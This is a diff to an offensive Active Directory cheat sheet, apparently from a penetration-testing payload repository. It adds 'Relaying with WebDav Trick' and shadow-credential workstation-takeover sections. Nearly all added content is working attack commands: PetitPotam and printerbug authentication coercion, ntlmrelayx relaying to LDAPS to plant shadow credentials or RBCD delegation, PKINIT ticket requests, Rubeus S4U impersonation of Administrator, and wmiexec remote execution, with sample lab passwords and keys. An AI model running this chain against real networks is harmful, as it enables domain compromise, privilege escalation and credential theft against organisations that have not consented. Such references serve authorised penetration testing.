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Relaying with WebDav Trick + Shadow Credential

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Methodology and Resources/Active Directory Attack.md
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@ -69,6 +69,7 @@
- [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
- [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
- [DNS Poisonning - Relay delegation with mitm6](#dns-poisonning---relay-delegation-with-mitm6)
- [Relaying with WebDav Trick](#relaying-with-webdav-trick)
- [Active Directory Certificate Services](#active-directory-certificate-services)
- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
- [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
@ -1636,11 +1637,32 @@ C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproa
```
**Scenario**:
- Trigger an NTLM authentication from `DC01` (PetitPotam)
- Relay it to `DC02` (ntlmrelayx)
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
- Scenario: Shadow Credential relaying
- Trigger an NTLM authentication from `DC01` (PetitPotam)
- Relay it to `DC02` (ntlmrelayx)
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
- Scenario: Workstation Takeover with RBCD
```ps1
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81
# Set up ntlmrelayx to relay authentication from target workstation to DC
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81
# Execute printer bug to trigger authentication from target workstation
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file
# Get a TGT using the newly acquired certificate via PKINIT
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR
# Get a TGS for the target account
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v
# Utilize the TGS for future activity
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
```
### Pass-the-Hash
@ -1994,6 +2016,27 @@ export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass target.lab.local
```
#### Relaying with WebDav Trick
> Example of exploitation where you can coerce machine accounts to authenticate to a host annd combine it with Resource Based Constrained Delegation to gain elevated access.
**Requirement**:
* WebClient service
**Exploitation**:
* Disable HTTP in Responder: `sudo vi /usr/share/responder/Responder.conf`
* Generate a Windows machine name: `sudo responder -I eth0`, e.g: WIN-UBNW4FI3AP0
* Prepare for RBCD against the DC: `python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support`
* Discover WebDAV using [GetWebDAVStatus](https://github.com/G0ldenGunSec/GetWebDAVStatus): `GetWebDAVStatus.exe 10.0.0.4`
* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/pentestlab 10.0.0.4`
* Use the created account to ask for a service ticket:
```ps1
.\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l<i$;UzD7W'
.\Rubeus.exe s4u /user:WVLFLLKZ$ /aes256:E0B3D87B512C218D38FAFDBD8A2EC55C83044FD24B6D740140C329F248992D8F /impersonateuser:Administrator /msdsspn:host/pc1.purple.lab /altservice:cifs /nowrap /ptt
ls \\PC1.purple.lab\c$
# IP of PC1: 10.0.0.4
```
### Active Directory Certificate Services
@ -3171,4 +3214,6 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021](https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/)
* [NTLMv1_Downgrade.md - S3cur3Th1sSh1t - 09/07/2021](https://gist.github.com/S3cur3Th1sSh1t/0c017018c2000b1d5eddf2d6a194b7bb)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [Lateral Movement – WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/)
* [Shadow Credentials: Workstation Takeover Edition - Matthew Creel](https://www.fortalicesolutions.com/posts/shadow-credentials-workstation-takeover-edition)